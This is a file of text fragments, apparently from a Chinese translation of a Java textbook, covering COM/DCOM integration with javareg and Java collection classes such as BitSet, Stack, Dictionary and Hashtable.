    {"text": "１． ＧＵＩＤ 和注册表 ＣＯＭ 采用结构化的整数值（长度为 １２８ 位）唯一性地标识系统中注册的 ＣＯＭ 项目。 这些数字的正式名称叫作 ＧＵＩＤ（Ｇｌｏｂａｌｌｙ Ｕｎｉｑｕｅ ＩＤｅｎｔｉｆｉｅｒ，全局唯一标识符），可由特殊的工具生成。"},
    {"text": "ＧＵＩＤ 以及相关的信息都保存在 Ｗｉｎｄｏｗｓ 注册表中，或者说保存在“注册数据库”（Ｒｅｇｉｓｔｒａｔｉｏｎ Ｄａｔａｂａｓｅ）中。"},
    {"text": "我们说一个 ＣＯＭ 组件已在系统内注册，最起码的一个条件就是它的 ＣＬＳＩＤ 和它的执行文件已存在于注册表中 ６６２ （ＰｒｏｇＩＤ 通常也已就位）。"},
    {"text": "随着 ＤＣＯＭ（分布式 ＣＯＭ）的引入，在 本地机器上运行的一个服务器甚至可移到网络中的一台远程机器，整个过程甚至不会引起客户对它的丝毫注 意（大多数情况下如此）。"},
    {"text": "２． 类型库 由于 ＣＯＭ 具有动态链接的能力，同时由于客户和服务器代码可以分开独立发展，所以客户随时都要动态侦测 由服务器展示出来的服务。 这些服务是用“类型库”（Ｔｙｐｅ Ｌｉｂｒａｒｙ）中一种二进制的、与语言无关的形式 描述的（就象接口和方法签名）。"},
    {"text": "我们可以写一个 Ｍｉｃｒｏｓｏｆｔ Ｉｎｔｅｒｆａｃｅ Ｄｅｆｉｎｉｔｉｏｎ Ｌａｎｇｕａｇｅ（微软接口定义语言，ＭＩＤＬ）源文件，用 ＭＩＤＬ 编译器编译它，从而生成一个．ＴＬＢ 文件。"},
    {"text": "Ａ ． ５ ． ２ Ｍ Ｓ Ｊ ａ ｖ ａ ／ Ｃ Ｏ Ｍ 集成 同 Ｃ＋＋／ＣＯＭ 程序员相比，Ｍｉｃｒｏｓｏｆｔ Ｊａｖａ 编译器、虚拟机以及各式各样的工具极大简化了 Ｊａｖａ／ＣＯＭ 程序员 的工作。"},
    {"text": "Ｊａｖａｒｅｇ 是与 Ｍｉｃｒｏｓｏｆｔ Ｊａｖａ ＳＤＫ 配套提供的一个工具 程序，能读入一个 Ｊａｖａ 类文件，生成相应的类型库以及一个 ＧＵＩＤ，并可将类注册到系统内。"},
    {"text": "另一个 Ｍｉｃｒｏｓｏｆｔ 工具是 ｊａｃｔｉｖｅｘ，它能读取一个类型库，并 生成相应的 Ｊａｖａ 源文件，在其中包含特殊的编译器引导命令。"},
    {"text": "Ａ ． ５ ． ３ 用 Ｊ ａ ｖ ａ 设计 Ｃ Ｏ Ｍ 服务器 本节将介绍 ＡｃｔｉｖｅＸ 控件、Ａｕｔｏｍａｔｉｏｎ 服务器或者其他任何符合 ＣＯＭ 规范的服务器的开发过程。"},
    {"text": "我们用 ｓｅｔＡｄｄｅｎｄ（）方法设置 ａｄｄｅｎｄ 的值。 每次调用 ｓｕｍ（）方法的时候，ａｄｄｅｎｄ 就会添加到当前 ｒｅｓｕｌｔ 里。 我们用 ｇｅｔＲｅｓｕｌｔ（）获得 ｒｅｓｕｌｔ 值，并用 ｃｌｅａｒ（）重新设置值。"},
    {"text": "６６３ ｐｒｉｖａｔｅ ｉｎｔ ｒｅｓｕｌｔ； ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＡｄｄｅｎｄ（ｉｎｔ ａ） ｛ ａｄｄｅｎｄ ＝ ａ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＡｄｄｅｎｄ（） ｛ ｒｅｔｕｒｎ ａｄｄｅｎｄ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＲｅｓｕｌｔ（） ｛ ｒｅｔｕｒｎ ｒｅｓｕｌｔ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｕｍ（） ｛ ｒｅｓｕｌｔ ＋＝ ａｄｄｅｎｄ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｃｌｅａｒ（） ｛ ｒｅｓｕｌｔ ＝ ０； ａｄｄｅｎｄ ＝ ０；"},
    {"text": "在这种情况下，我们指定 Ｊａｖａ 类文件名（＂Ａｄｄｅｒ＂），想为这个服务器在注册表里置 入的 ＰｒｏｇＩＤ（＂ＪａｖａＡｄｄｅｒ．Ａｄｄｅｒ．１＂），以及想为即将生成的类型库指定的名字（＂ＪａｖａＡｄｄｅｒ．ｔｌｂ＂）。"},
    {"text": "ｊａｖａｒｅｇ ／ｒｅｇｉｓｔｅｒ ／ｃｌａｓｓ：Ａｄｄｅｒ ／ｐｒｏｇｉｄ：ＪａｖａＡｄｄｅｒ．Ａｄｄｅｒ．１ ／ｔｙｐｅｌｉｂ：ＪａｖａＡｄｄｅｒ．ｔｌｂ Ｊａｖａｒｅｇ 也会将新服务器注册到 Ｗｉｎｄｏｗｓ 注册表。"},
    {"text": "考虑到安全方面的原因（特别是涉及程序片调用 ＣＯＭ 服务的问题），只有在 ＣＯＭ 服务器已安装到 ｔｒｕｓｔｌｉｂ 目录的前提下，这些服务器才会被激活。"},
    {"text": "Ｄｉｍ Ａｄｄｅｒ Ａｓ Ｏｂｊｅｃｔ Ｐｒｉｖａｔｅ Ｓｕｂ Ｆｏｒｍ＿Ｌｏａｄ（） Ｓｅｔ Ａｄｄｅｒ ＝ ＣｒｅａｔｅＯｂｊｅｃｔ（＂ＪａｖａＡｄｄｅｒ．Ａｄｄｅｒ．１＂） Ａｄｄｅｎｄ．Ｔｅｘｔ ＝ Ａｄｄｅｒ．ｇｅｔＡｄｄｅｎｄ Ｒｅｓｕｌｔ．Ｃａｐｔｉｏｎ ＝ Ａｄｄｅｒ．ｇｅｔＲｅｓｕｌｔ Ｅｎｄ Ｓｕｂ Ｐｒｉｖａｔｅ Ｓｕｂ ＳｕｍＢｔｎ＿Ｃｌｉｃｋ（） Ａｄｄｅｒ．ｓｅｔＡｄｄｅｎｄ （Ａｄｄｅｎｄ．Ｔｅｘｔ） Ａｄｄｅｒ．Ｓｕｍ Ｒｅｓｕｌｔ．Ｃａｐｔｉｏｎ ＝ Ａｄｄｅｒ．ｇｅｔＲｅｓｕｌｔ Ｅｎｄ Ｓｕｂ Ｐｒｉｖａｔｅ Ｓｕｂ ＣｌｅａｒＢｔｎ＿Ｃｌｉｃｋ（） Ａｄｄｅｒ．Ｃｌｅａｒ Ａｄｄｅｎｄ．Ｔｅｘｔ ＝ Ａｄｄｅｒ．ｇｅｔＡｄｄｅｎｄ Ｒｅｓｕｌｔ．Ｃａｐｔｉｏｎ ＝ Ａｄｄｅｒ．ｇｅｔＲｅｓｕｌｔ Ｅｎｄ Ｓｕｂ 注意，这段代码根本不知道服务器是用 Ｊａｖａ 实现的。"},
    {"text": "本例使用了用 Ｊａｖａ 写成的一个服务器，但它可应 用于系统内安装的任何 ＡｃｔｉｖｅＸ 控件、ＡｃｔｉｖｅＸ Ａｕｔｏｍａｔｉｏｎ 服务器或者 ＡｃｔｉｖｅＸ 组件——只要我们有一个类 型库。"},
    {"text": "当我们使用下述语句时： ＂ＣｒａｓｈＪａｖａ ａｄｄｒｅｓｓ： ＂ ＋ ｔｈｉｓ 编译器就在一个字串后面发现了一个“＋”以及好象并非字串的其他东西，所以它会试图将 ｔｈｉｓ 转换成一个 字串。"},
    {"text": "下面这个例子展示了 ＢｉｔＳｅｔ 是如何运作的，同时 演示了 １．０ 版本的错误： ／／： Ｂｉｔｓ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ ＢｉｔＳｅｔ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｂｉｔｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｒａｎｄｏｍ ｒａｎｄ ＝ ｎｅｗ Ｒａｎｄｏｍ（）； ／／ Ｔａｋｅ ｔｈｅ ＬＳＢ ｏｆ ｎｅｘｔＩｎｔ（）： ｂｙｔｅ ｂｔ ＝ （ｂｙｔｅ）ｒａｎｄ．ｎｅｘｔＩｎｔ（）； ＢｉｔＳｅｔ ｂｂ ＝ ｎｅｗ ＢｉｔＳｅｔ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ７； ｉ ＞＝０； ｉ －－） ｉｆ（（（１ ＜＜ ｉ） ＆ ｂｔ） ！ ＝ ０） ｂｂ．ｓｅｔ（ｉ）； ｅｌｓｅ ｂｂ．ｃｌｅａｒ（ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｂｙｔｅ ｖａｌｕｅ： ＂ ＋ ｂｔ）； ｐｒｉｎｔＢｉｔＳｅｔ（ｂｂ）； ｓｈｏｒｔ ｓｔ ＝ （ｓｈｏｒｔ）ｒａｎｄ．ｎｅｘｔＩｎｔ（）； ＢｉｔＳｅｔ ｂｓ ＝ ｎｅｗ ＢｉｔＳｅｔ（）； ｆｏｒ（ｉｎｔ ｉ ＝ １５； ｉ ＞＝０； ｉ－－） ｉｆ（（（１ ＜＜ ｉ） ＆ ｓｔ） ！ ＝ ０） ｂｓ．ｓｅｔ（ｉ）； ｅｌｓｅ ｂｓ．ｃｌｅａｒ（ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｓｈｏｒｔ ｖａｌｕｅ： ＂ ＋ ｓｔ）； ｐｒｉｎｔＢｉｔＳｅｔ（ｂｓ）； ｉｎｔ ｉｔ ＝ ｒａｎｄ．ｎｅｘｔＩｎｔ（）； ＢｉｔＳｅｔ ｂｉ ＝ ｎｅｗ ＢｉｔＳｅｔ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ３１； ｉ ＞＝０； ｉ－－） ｉｆ（（（１ ＜＜ ｉ） ＆ ｉｔ） ！ ＝ ０） ｂｉ．ｓｅｔ（ｉ）； ｅｌｓｅ ｂｉ．ｃｌｅａｒ（ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｉｎｔ ｖａｌｕｅ： ＂ ＋ ｉｔ）； ｐｒｉｎｔＢｉｔＳｅｔ（ｂｉ）； ／／ Ｔｅｓｔ ｂｉｔｓｅｔｓ ＞＝ ６４ ｂｉｔｓ： ＢｉｔＳｅｔ ｂ１２７ ＝ ｎｅｗ ＢｉｔＳｅｔ（）； ｂ１２７．ｓｅｔ（１２７）； ２２１ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｓｅｔ ｂｉｔ １２７： ＂ ＋ ｂ１２７）； ＢｉｔＳｅｔ ｂ２５５ ＝ ｎｅｗ ＢｉｔＳｅｔ（６５）； ｂ２５５．ｓｅｔ（２５５）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｓｅｔ ｂｉｔ ２５５： ＂ ＋ ｂ２５５）； ＢｉｔＳｅｔ ｂ１０２３ ＝ ｎｅｗ ＢｉｔＳｅｔ（５１２）； ／／ Ｗｉｔｈｏｕｔ ｔｈｅ ｆｏｌｌｏｗｉｎｇ， ａｎ ｅｘｃｅｐｔｉｏｎ ｉｓ ｔｈｒｏｗｎ ／／ ｉｎ ｔｈｅ Ｊａｖａ １．０ ｉｍｐｌｅｍｅｎｔａｔｉｏｎ ｏｆ ＢｉｔＳｅｔ： ／／ ｂ１０２３．ｓｅｔ（１０２３）； ｂ１０２３．ｓｅｔ（１０２４）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｓｅｔ ｂｉｔ １０２３： ＂ ＋ ｂ１０２３）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔＢｉｔＳｅｔ（ＢｉｔＳｅｔ ｂ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｂｉｔｓ： ＂ ＋ ｂ）； Ｓｔｒｉｎｇ ｂｂｉｔｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ（）； ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ｂ．ｓｉｚｅ（） ； ｊ＋＋） ｂｂｉｔｓ ＋＝ （ｂ．ｇｅｔ（ｊ） ？"},
    {"text": "／／： Ｓｔａｃｋｓ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ Ｓｔａｃｋ Ｃｌａｓｓ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｔａｃｋｓ ｛ ｓｔａｔｉｃ Ｓｔｒｉｎｇ［］ ｍｏｎｔｈｓ ＝ ｛ ＂Ｊａｎｕａｒｙ＂， ＂Ｆｅｂｒｕａｒｙ＂， ＂Ｍａｒｃｈ＂， ＂Ａｐｒｉｌ＂， ＂Ｍａｙ＂， ＂Ｊｕｎｅ＂， ＂Ｊｕｌｙ＂， ＂Ａｕｇｕｓｔ＂， ＂Ｓｅｐｔｅｍｂｅｒ＂， ＂Ｏｃｔｏｂｅｒ＂， ＂Ｎｏｖｅｍｂｅｒ＂， ＂Ｄｅｃｅｍｂｅｒ＂ ｝； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｔａｃｋ ｓｔｋ ＝ ｎｅｗ Ｓｔａｃｋ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｍｏｎｔｈｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｓｔｋ．ｐｕｓｈ（ｍｏｎｔｈｓ［ｉ］ ＋ ＂ ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｓｔｋ ＝ ＂ ＋ ｓｔｋ）； ２２２ ／／ Ｔｒｅａｔｉｎｇ ａ ｓｔａｃｋ ａｓ ａ Ｖｅｃｔｏｒ： ｓｔｋ．ａｄｄＥｌｅｍｅｎｔ（＂Ｔｈｅ ｌａｓｔ ｌｉｎｅ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｅｌｅｍｅｎｔ ５ ＝ ＂ ＋ ｓｔｋ．ｅｌｅｍｅｎｔＡｔ（５））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｐｏｐｐｉｎｇ ｅｌｅｍｅｎｔｓ：＂）；"},
    {"text": "ｐｕｔ（Ｏｂｊｅｃｔ ｋｅｙ， Ｏｂｊｅｃｔ ｖａｌｕｅ）添加一个 值（我们希望的东西），并将其同一个键关联起来（想用于搜索它的东西）； ｇｅｔ（Ｏｂｊｅｃｔ ｋｅｙ）获得与某个键 对应的值； 而 ｒｅｍｏｖｅ（Ｏｂｊｅｃｔ Ｋｅｙ）用于从列表中删除“键－值”对。 还可以使用枚举技术：ｋｅｙｓ（）产生对键 的一个枚举（Ｅｎｕｍｅｒａｔｉｏｎ）； 而 ｅｌｅｍｅｎｔｓ（）产生对所有值的一个枚举。"},
    {"text": "下面列出一种简单的方法，它使用了两个 Ｖｅｃｔｏｒ，一个用于容纳键，另一 个用来容纳值： ／／： ＡｓｓｏｃＡｒｒａｙ．ｊａｖａ ／／ Ｓｉｍｐｌｅ ｖｅｒｓｉｏｎ ｏｆ ａ Ｄｉｃｔｉｏｎａｒｙ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＡｓｓｏｃＡｒｒａｙ ｅｘｔｅｎｄｓ Ｄｉｃｔｉｏｎａｒｙ ｛ ｐｒｉｖａｔｅ Ｖｅｃｔｏｒ ｋｅｙｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｐｒｉｖａｔｅ Ｖｅｃｔｏｒ ｖａｌｕｅｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｐｕｂｌｉｃ ｉｎｔ ｓｉｚｅ（） ｛ ｒｅｔｕｒｎ ｋｅｙｓ．ｓｉｚｅ（）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｉｓＥｍｐｔｙ（） ｛ ｒｅｔｕｒｎ ｋｅｙｓ．ｉｓＥｍｐｔｙ（）； ｝ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｐｕｔ（Ｏｂｊｅｃｔ ｋｅｙ， Ｏｂｊｅｃｔ ｖａｌｕｅ） ｛ ｋｅｙｓ．ａｄｄＥｌｅｍｅｎｔ（ｋｅｙ）； ｖａｌｕｅｓ．ａｄｄＥｌｅｍｅｎｔ（ｖａｌｕｅ）； ｒｅｔｕｒｎ ｋｅｙ； ｝ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｇｅｔ（Ｏｂｊｅｃｔ ｋｅｙ） ｛ ｉｎｔ ｉｎｄｅｘ ＝ ｋｅｙｓ．ｉｎｄｅｘＯｆ（ｋｅｙ）； ／／ ｉｎｄｅｘＯｆ（） Ｒｅｔｕｒｎｓ －１ ｉｆ ｋｅｙ ｎｏｔ ｆｏｕｎｄ： ｉｆ（ｉｎｄｅｘ ＝＝ －１） ｒｅｔｕｒｎ ｎｕｌｌ； ｒｅｔｕｒｎ ｖａｌｕｅｓ．ｅｌｅｍｅｎｔＡｔ（ｉｎｄｅｘ）； ｝ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｒｅｍｏｖｅ（Ｏｂｊｅｃｔ ｋｅｙ） ｛ ２２３ ｉｎｔ ｉｎｄｅｘ ＝ ｋｅｙｓ．ｉｎｄｅｘＯｆ（ｋｅｙ）； ｉｆ（ｉｎｄｅｘ ＝＝ －１） ｒｅｔｕｒｎ ｎｕｌｌ； ｋｅｙｓ．ｒｅｍｏｖｅＥｌｅｍｅｎｔＡｔ（ｉｎｄｅｘ）； Ｏｂｊｅｃｔ ｒｅｔｕｒｎｖａｌ ＝ ｖａｌｕｅｓ．ｅｌｅｍｅｎｔＡｔ（ｉｎｄｅｘ）； ｖａｌｕｅｓ．ｒｅｍｏｖｅＥｌｅｍｅｎｔＡｔ（ｉｎｄｅｘ）； ｒｅｔｕｒｎ ｒｅｔｕｒｎｖａｌ； ｝ ｐｕｂｌｉｃ Ｅｎｕｍｅｒａｔｉｏｎ ｋｅｙｓ（） ｛ ｒｅｔｕｒｎ ｋｅｙｓ．ｅｌｅｍｅｎｔｓ（）； ｝ ｐｕｂｌｉｃ Ｅｎｕｍｅｒａｔｉｏｎ ｅｌｅｍｅｎｔｓ（） ｛ ｒｅｔｕｒｎ ｖａｌｕｅｓ．ｅｌｅｍｅｎｔｓ（）； ｝ ／／ Ｔｅｓｔ ｉｔ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＡｓｓｏｃＡｒｒａｙ ａａ ＝ ｎｅｗ ＡｓｓｏｃＡｒｒａｙ（）； ｆｏｒ（ｃｈａｒ ｃ ＝ ＇ａ＇； ｃ ＜＝ ＇ｚ＇； ｃ＋＋） ａａ．ｐｕｔ（Ｓｔｒｉｎｇ．ｖａｌｕｅＯｆ（ｃ）， Ｓｔｒｉｎｇ．ｖａｌｕｅＯｆ（ｃ） ．ｔｏＵｐｐｅｒＣａｓｅ（））； ｃｈａｒ［］ ｃａ ＝ ｛ ＇ａ＇， ＇ｅ＇， ＇ｉ＇， ＇ｏ＇， ＇ｕ＇ ｝； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｃａ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｕｐｐｅｒｃａｓｅ： ＂ ＋ ａａ．ｇｅｔ（Ｓｔｒｉｎｇ．ｖａｌｕｅＯｆ（ｃａ［ｉ］）））；"},
    {"text": "如果想生成自己的 Ｄｉｃｔｉｏｎａｒｙ，而且 就在这里进行，那么要做的全部事情只是填充位于 Ｄｉｃｔｉｏｎａｒｙ 内的所有方法（而且必须覆盖所有方法，因为 它们——除构建器外——都是抽象的）。"},
    {"text": "也就是说，如果用“ｒｏｏｆ”的一个键以及“ｂｌｕｅ”的 一个值调用 ｐｕｔ（）——假定我们准备将一个房子的各部分与它们的油漆颜色关联起来，而且 ＡｓｓｏｃＡｒｒａｙ 里已 有 １００ 个元素，那么“ｒｏｏｆ”就会有 １０１ 个键元素，而“ｂｌｕｅ ”有 １０１ 个值元素。"},
    {"text": "而且要注意一下 ｇｅｔ（）， 假如我们作为键传递“ｒｏｏｆ”，它就会产生与 ｋｅｙｓ．ｉｎｄｅｘ．Ｏｆ（）的索引编号，然后用那个索引编号生成相关 的值矢量内的值。"},
    {"text": "标准 Ｊａｖａ 库只包含 Ｄｉｃｔｉｏｎａｒｙ 的一个变种，名为 Ｈａｓｈｔａｂｌｅ（散列表，注释③）。 Ｊａｖａ 的散列表具有与 ＡｓｓｏｃＡｒｒａｙ 相同的接口（因为两者都是从 Ｄｉｃｔｉｏｎａｒｙ 继承来的）。"},
    {"text": "散列码可以获取对象中的信息，然后将其转换成那个对象“相对唯一”的整数（ｉｎｔ）。 所有对象都有 一个散列码，而 ｈａｓｈＣｏｄｅ（）是根类 Ｏｂｊｅｃｔ 的一个方法。"},
    {"text": "散列表的具体工作原理已超出了本书的范围（⑤）——大家 只需要知道散列表是一种快速的“字典”（Ｄｉｃｔｉｏｎａｒｙ）即可，而字典是一种非常有用的工具。"},
    {"text": "③：如计划使用 ＲＭＩ（在第 １５ 章详述），应注意将远程对象置入散列表时会遇到一个问题（参阅《Ｃｏｒｅ Ｊａｖａ》，作者 Ｃｏｎｒｅｌｌ 和 Ｈｏｒｓｔｍａｎｎ，Ｐｒｅｎｔｉｃｅ－Ｈａｌｌ １９９７ 年出版） ④：如这种速度的提升仍然不能满足你对性能的要求，甚至可以编写自己的散列表例程，从而进一步加快表 格的检索过程。"},
    {"text": "２２４ ⑤：我的知道的最佳参考读物是《Ｐｒａｃｔｉｃａｌ Ａｌｇｏｒｉｔｈｍｓ ｆｏｒ Ｐｒｏｇｒａｍｍｅｒｓ》，作者为 Ａｎｄｒｅｗ Ｂｉｎｓｔｏｃｋ 和 Ｊｏｈｎ Ｒｅｘ，Ａｄｄｉｓｏｎ－Ｗｅｓｌｅｙ １９９５ 年出版。"},
    {"text": "散列表可以极大简化这一工作，因为它能将对象同对象关联起来 （此时是将 Ｍａｔｈ．ｒａｎｄｏｍ（）生成的值同那些值出现的次数关联起来）。"},
    {"text": "如下所示： ／／： Ｓｔａｔｉｓｔｉｃｓ．ｊａｖａ ／／ Ｓｉｍｐｌｅ ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ Ｈａｓｈｔａｂｌｅ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ Ｃｏｕｎｔｅｒ ｛ ｉｎｔ ｉ ＝ １； ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｉ）； ｝ ｝ ｃｌａｓｓ Ｓｔａｔｉｓｔｉｃｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｈａｓｈｔａｂｌｅ ｈｔ ＝ ｎｅｗ Ｈａｓｈｔａｂｌｅ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １００００； ｉ＋＋） ｛ ／／ Ｐｒｏｄｕｃｅ ａ ｎｕｍｂｅｒ ｂｅｔｗｅｅｎ ０ ａｎｄ ２０： Ｉｎｔｅｇｅｒ ｒ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ（（ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ ２０））； ｉｆ（ｈｔ．ｃｏｎｔａｉｎｓＫｅｙ（ｒ）） （（Ｃｏｕｎｔｅｒ）ｈｔ．ｇｅｔ（ｒ））．ｉ＋＋； ｅｌｓｅ ｈｔ．ｐｕｔ（ｒ， ｎｅｗ Ｃｏｕｎｔｅｒ（））； ｝ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｈｔ）；"},
    {"text": "｝ ｝ ／／／：￣ 在 ｍａｉｎ（）中，每次产生一个随机数字，它都会封装到一个 Ｉｎｔｅｇｅｒ 对象里，使句柄能够随同散列表一起使用 （不可对一个集合使用基本数据类型，只能使用对象句柄）。"},
    {"text": "ｃｏｎｔａｉｎＫｅｙ（）方法检查这个键是否已经在集合 里（也就是说，那个数字以前发现过吗？ ）若已在集合里，则 ｇｅｔ（）方法获得那个键关联的值，此时是一个 Ｃｏｕｎｔｅｒ（计数器）对象。"},
    {"text": "一次运行的结 果（添加了一些换行）如下： ｛１９＝５２６， １８＝５３３， １７＝４６０， １６＝５１３， １５＝５２１， １４＝４９５， １３＝５１２， １２＝４８３， １１＝４８８， １０＝４８７， ９＝５１４， ８＝５２３， ７＝４９７， ６＝４８７， ５＝４８０， ４＝４８９， ３＝５０９， ２＝５０３， １＝４７５， ０＝５０５｝ 大家或许会对 Ｃｏｕｎｔｅｒ 类是否必要感到疑惑，它看起来似乎根本没有封装类 Ｉｎｔｅｇｅｒ 的功能。"},
    {"text": "如下所示： ／／： ＳｐｒｉｎｇＤｅｔｅｃｔｏｒ．ｊａｖａ ／／ Ｌｏｏｋｓ ｐｌａｕｓｉｂｌｅ， ｂｕｔ ｄｏｅｓｎ＇ｔ ｗｏｒｋ ｒｉｇｈｔ． ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ Ｇｒｏｕｎｄｈｏｇ ｛ ｉｎｔ ｇｈＮｕｍｂｅｒ； Ｇｒｏｕｎｄｈｏｇ（ｉｎｔ ｎ） ｛ ｇｈＮｕｍｂｅｒ ＝ ｎ； ｝ ｝ ｃｌａｓｓ Ｐｒｅｄｉｃｔｉｏｎ ｛ ｂｏｏｌｅａｎ ｓｈａｄｏｗ ＝ Ｍａｔｈ．ｒａｎｄｏｍ（） ＞ ０．５； ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｉｆ（ｓｈａｄｏｗ） ｒｅｔｕｒｎ ＂Ｓｉｘ ｍｏｒｅ ｗｅｅｋｓ ｏｆ Ｗｉｎｔｅｒ！"},
    {"text": "｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＳｐｒｉｎｇＤｅｔｅｃｔｏｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｈａｓｈｔａｂｌｅ ｈｔ ＝ ｎｅｗ Ｈａｓｈｔａｂｌｅ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ＋＋） ｈｔ．ｐｕｔ（ｎｅｗ Ｇｒｏｕｎｄｈｏｇ（ｉ）， ｎｅｗ Ｐｒｅｄｉｃｔｉｏｎ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｈｔ ＝ ＂ ＋ ｈｔ ＋ ＂＼ｎ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｌｏｏｋｉｎｇ ｕｐ ｐｒｅｄｉｃｔｉｏｎ ｆｏｒ ｇｒｏｕｎｄｈｏｇ ＃３：＂）； Ｇｒｏｕｎｄｈｏｇ ｇｈ ＝ ｎｅｗ Ｇｒｏｕｎｄｈｏｇ（３）； ｉｆ（ｈｔ．ｃｏｎｔａｉｎｓＫｅｙ（ｇｈ）） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（（Ｐｒｅｄｉｃｔｉｏｎ）ｈｔ．ｇｅｔ（ｇｈ））；"},
    {"text": "｝ ｝ ／／／：￣ 每个 Ｇｒｏｕｎｄｈｏｇ 都具有一个标识号码，所以赤了在散列表中查找一个 Ｐｒｅｄｉｃｔｉｏｎ，只需指示它“告诉我与 Ｇｒｏｕｎｄｈｏｇ 号码 ３ 相关的 Ｐｒｅｄｉｃｔｉｏｎ”。"},
    {"text": "所以，Ｇｒｏｕｎｄｈｏｇ（３）的第一个实例并不会产生与 Ｇｒｏｕｎｄｈｏｇ（３）第二个实例相等的散列码，而我们用第二个实例进行检索。"},
    {"text": "同样地，默认的 Ｏｂｊｅｃｔ．ｅｑｕａｌｓ（）只是简单地比较对象地址，所以一个 Ｇｒｏｕｎｄｈｏｇ（３）并不等于 另一个 Ｇｒｏｕｎｄｈｏｇ（３）。"},
    {"text": "因此，为了在散列表中将自己的类作为键使用，必须同时覆盖 ｈａｓｈＣｏｄｅ（）和 ｅｑｕａｌｓ（），就象下面展示的那 样： ／／： ＳｐｒｉｎｇＤｅｔｅｃｔｏｒ２．ｊａｖａ ／／ Ｉｆ ｙｏｕ ｃｒｅａｔｅ ａ ｃｌａｓｓ ｔｈａｔ＇ｓ ｕｓｅｄ ａｓ ａ ｋｅｙ ｉｎ ／／ ａ Ｈａｓｈｔａｂｌｅ， ｙｏｕ ｍｕｓｔ ｏｖｅｒｒｉｄｅ ｈａｓｈＣｏｄｅ（） ／／ ａｎｄ ｅｑｕａｌｓ（）． ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
